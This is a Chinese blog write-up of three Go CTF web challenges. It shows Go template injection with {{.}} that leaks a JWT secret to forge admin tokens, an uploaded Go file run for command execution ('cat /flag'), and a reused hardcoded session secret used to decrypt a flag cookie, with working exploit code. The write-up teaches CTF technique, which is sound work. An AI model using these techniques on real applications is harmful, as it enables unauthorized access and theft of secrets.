CTF—Go题目复现

20 篇文章 1 订阅
10 篇文章 1 订阅

[2022DASCTF MAY 挑战赛] fxygo

一道Go的模板注入

前置知识

由于没了解过Go的SSTI所以先简单看下:

go语言快速入门:template模板 · Golang语言社区 · 看云 (kancloud.cn)

Go SSTI初探 | tyskillのBlog

go的SSTI漏洞成因与模板语法和jinja2差不多,都用到了{{}},通过{{.}}我们可以获得到作用域

Demo

package main

import "html/template"
import "os"

func main() {

	type person struct {
		Id      int
		Name    string
		Country string
	}

	Sentiment := person{Id: 1, Name: "Sentiment", Country: "China"}

	tmpl := template.New("")
	tmpl.Parse("Hello {{.}}")
	tmpl.Execute(os.Stdout, Sentiment)

}

当使用{{.}}时,会获取person结构体中的所有属性,所以在经过Execute渲染后,便会输出:

Hello {1 Sentiment China}

除此外若想获取单个属性也可以用{{.Name}}

tmpl.Parse("Hello {{.}}")
改为
tmpl.Parse("Hello {{.Name}}")

结果

Hello Sentiment

复现

主要有几个路由

r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)

先看/flag的flagHandler

func flagHandler(c *gin.Context) {
   token := c.GetHeader("X-Token")
   if token != "" {
      id, is_admin := jwt_decode(token)
      if is_admin == true {
         p := Resp{true, "Hi " + id + ", flag is " + flag}
         res, err := json.Marshal(p)
         if err != nil {
         }
         c.JSON(200, string(res))
         return
      } else {
         c.JSON(403, gin.H{
            "code": 403,
            "status": "error",
         })
         return
      }
   }
}

中间有一段:

id, is_admin := jwt_decode(token)
if is_admin == true {

会对我们输入的token值解密,之后如果其中的is_admin是true的话,会输出flag,所以现在的问题是如何获取token

authHandler()找到了获取token的方式

func authHandler(c *gin.Context) {
   uid := c.PostForm("id")
   upw := c.PostForm("pw")
   if uid == "" || upw == "" {
      return
   }
   if len(acc) > 1024 {
      clear_account()
   }
   user_acc := get_account(uid)
   if user_acc.id != "" && user_acc.pw == upw {
      token, err := jwt_encode(user_acc.id, user_acc.is_admin)
      if err != nil {
         return
      }
      p := TokenResp{true, token}
      res, err := json.Marshal(p)
      if err != nil {
      }
      c.JSON(200, string(res))
      return
   }
   c.JSON(403, gin.H{
      "code": 403,
      "status": "error",
   })
   return
}

当我们传参id和pw时,会对我们传入的id和is_admin进行jwt加密,并返回以token形式返回

但在此之前需要注意,在赋值之前是有一段判断的,也就是通过本题自定义的get_account()方法获取之前的作用域中的id和pw值,与我们创建的进行比较,只有一样才能成功赋值

user_acc := get_account(uid)
user_acc.id != "" && user_acc.pw == upw {

而初始状态都是为空值的,所以在获取前需要先通过Resist(),进行赋值注册

在这里插入图片描述

注册成功后,在访问auth路径,获取到了token

在这里插入图片描述

得到token后,还需要解决一个问题,就是我们在注册时,默认传入的is_admin是false

new_acc := Account{uid, upw, false, secret_key}

在这里插入图片描述

所以就需要想办法找secret_key,进而修改is_admin

rootHandler()发现模板渲染部分,首先是获取token中我们传入的id值,接着会进行渲染,最后通过 tpl.Execute(c.Writer, &acc)输出

func rootHandler(c *gin.Context) {
   token := c.GetHeader("X-Token")
   if token != "" {
      id, _ := jwt_decode(token)
      acc := get_account(id)
      tpl, err := template.New("").Parse("Logged in as " + acc.id)
      if err != nil {
      }
      tpl.Execute(c.Writer, &acc)
      return
   } else {

      return
   }
}

所以我们在最开始传入的id={{.}},在这个地方经过渲染后便会输出,该结构体中的所有属性值,其中就包括key

type Account struct {
   id         string
   pw         string
   is_admin   bool
   secret_key string
}

rootHandler()的路由是POST请求/

在这里插入图片描述

获取key后,修改is_admin,/flag路由下传参即可

在这里插入图片描述

在这里插入图片描述

这道题跟[LineCTF2022]gotm一样,80分的题可以去玩玩。

[2022DASCTF MAY 挑战赛] hackme

upload路径下有个文件上传入口

在这里插入图片描述

上传users.go后,访问users,上传的go文件会被执行,所以随便上传个执行命令的go文件即可

Go语言中用 os/exec 执行命令的五种姿势 - 知乎 (zhihu.com)

package main

import (
   "bytes"
   "fmt"
   "log"
   "os/exec"
)

func main() {
   cmd := exec.Command("cat", "/flag")
   var stdout, stderr bytes.Buffer
   cmd.Stdout = &stdout 
   cmd.Stderr = &stderr 
   err := cmd.Run()
   outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
   fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
   if err != nil {
      log.Fatalf("cmd.Run() failed with %s\n", err)
   }
}

在这里插入图片描述

[VNCTF 2022] gocalc0

在安装包时不知道什么时候代理变了,一直没下下来,如果同样下不下来的话可以先设置下代理

go env -w GOPROXY=https://goproxy.cn

之后安装对应的包即可

go get github.com/gin-contrib/sessions

非预期

session两次base64解密即可

在这里插入图片描述

预期

{{.}}获取源码

package main

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

var tpl string

var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8888"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "<br/>"
		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}

在flag路由里将环境变量flag值设入cookie的FLAG中,但是cookie中的内容经过加密无法直接拿到,在本地搭建一样的环境,从相同cookie中拿到FLAG对应的值,找地方输出即可

package main

import (
   _ "embed"
   "fmt"
   "os"

   "github.com/gin-contrib/sessions"
   "github.com/gin-contrib/sessions/cookie"
   "github.com/gin-gonic/gin"
)

func main() {
   port := os.Getenv("PORT")
   if port == "" {
      port = "8888"
   }
   r := gin.Default()
   store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
   r.Use(sessions.Sessions("session", store))
   r.GET("/flag", func(c *gin.Context) {
      session := sessions.Default(c)
      c.String(200, session.Get("FLAG").(string))
   })
   r.Run(fmt.Sprintf(":%s", port))
}

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值